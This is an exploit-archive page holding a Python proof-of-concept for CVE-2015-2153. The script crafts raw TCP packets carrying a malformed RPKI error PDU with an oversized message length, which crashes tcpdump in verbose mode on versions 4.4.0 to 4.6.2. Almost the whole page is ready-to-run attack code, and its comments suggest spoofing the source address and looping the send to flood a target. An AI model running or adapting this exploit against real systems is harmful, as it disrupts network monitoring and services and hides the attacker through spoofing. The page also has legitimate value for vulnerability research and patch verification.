Skip to content
cyberexploits
doslinuxtext

TcpDump - rpki_rtr_pdu_print Out-of-Bounds Denial of Service

TcpDump - rpki_rtr_pdu_print Out-of-Bounds Denial of Service

Publié le 2015-07-20

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/linux/dos/37663.txt7eac4c3a
raw
# Exploit Title: TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service

# Date: 7.18.2015

# Exploit Author: Luke Arntson arntsonl@gmail.com

# Vendor Homepage: http://www.tcpdump.org/

# Software Link: http://www.tcpdump.org/

# Version: 4.6.2, 4.5.1, 4.4.0

# Tested on: Lubuntu 14.04 64-bit

# CVE : CVE-2015-2153

 

# Note: tcpdump must be running in verbose mode for this Denial-of-Service to trigger.

 

import socket, sys

from struct import *

 

def checksum(msg):

    s = 0

    for i in range(0, len(msg), 2):

        w = ord(msg[i]) + (ord(msg[i+1]) << 8 )

        s = s + w

    s = (s>>16) + (s & 0xffff);

    s = s + (s >> 16);

    s = ~s & 0xffff

    return s



if len(sys.argv) != 3:

    print "Usage: ./CVE-2015-2153.py <source-ip> <destination-ip>"

    exit()



# fake the source and destination

source_ip = sys.argv[1]

dest_ip = sys.argv[2]

	

try:

    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

except socket.error , msg:

    print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]

    sys.exit()

   

packet = ''



# ip header fields

ip_ihl = 5

ip_ver = 4

ip_tos = 0

ip_tot_len = 0  # kernel will fill the correct total length

ip_id = 54321   #Id of this packet

ip_frag_off = 0

ip_ttl = 255

ip_proto = socket.IPPROTO_TCP

ip_check = 0    # kernel will fill the correct checksum

ip_saddr = socket.inet_aton ( source_ip )   #Spoof the source ip address if you want to

ip_daddr = socket.inet_aton ( dest_ip )

 

ip_ihl_ver = (ip_ver << 4) + ip_ihl

 

ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)

 

# tcp header fields

tcp_source = 255   # source port

tcp_dest = 323   # destination port

tcp_seq = 454

tcp_ack_seq = 0

tcp_doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes

#tcp flags

tcp_fin = 0

tcp_syn = 1

tcp_rst = 0

tcp_psh = 0

tcp_ack = 0

tcp_urg = 0

tcp_window = socket.htons (5840)    #   maximum allowed window size

tcp_check = 0

tcp_urg_ptr = 0

 

tcp_offset_res = (tcp_doff << 4) + 0

tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)

 

tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,  tcp_window, tcp_check, tcp_urg_ptr)



# CVE-2015-2153 out-of-bounds occurs here, when we send in a bad message length to the error type.

# The RPKI pdu looks like the following

# [ pdu version ] [ pdu type ] [ error id ] [ packet length ] [ encapsulated pdu length ] [ message length ] [ message ]

# by giving message length a long value, we cause the buffer to write into bad memory

error_pdu = '\x41' # fake version

error_pdu = error_pdu + '\x0A' # error type

error_pdu = error_pdu + '\x00\x01' # error number

error_pdu = error_pdu + '\x00\x00\x00\x08' # must be less than or equal to total packet length

error_pdu = error_pdu + '\x00\x00\x00\x00' # no encapsulated pdu

error_pdu = error_pdu + '\x7F\xFF\xFF\xFF' # overwrite out-of-bounds '\0', causing DoS

error_pdu = error_pdu + 'AAAA' # fake message



user_data = error_pdu



# pseudo header fields

source_address = socket.inet_aton( source_ip )

dest_address = socket.inet_aton(dest_ip)

placeholder = 0

protocol = socket.IPPROTO_TCP

tcp_length = len(tcp_header) + len(user_data)

 

psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);

psh = psh + tcp_header + user_data;

 

tcp_check = checksum(psh)



# make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order

tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,  tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)

 

# final full packet - syn packets dont have any data

packet = ip_header + tcp_header + user_data

 

#Send the packet finally - the port specified has no effect

s.sendto(packet, (dest_ip , 0 ))    # put this in a loop if you want to flood the target

Voir sur GitHub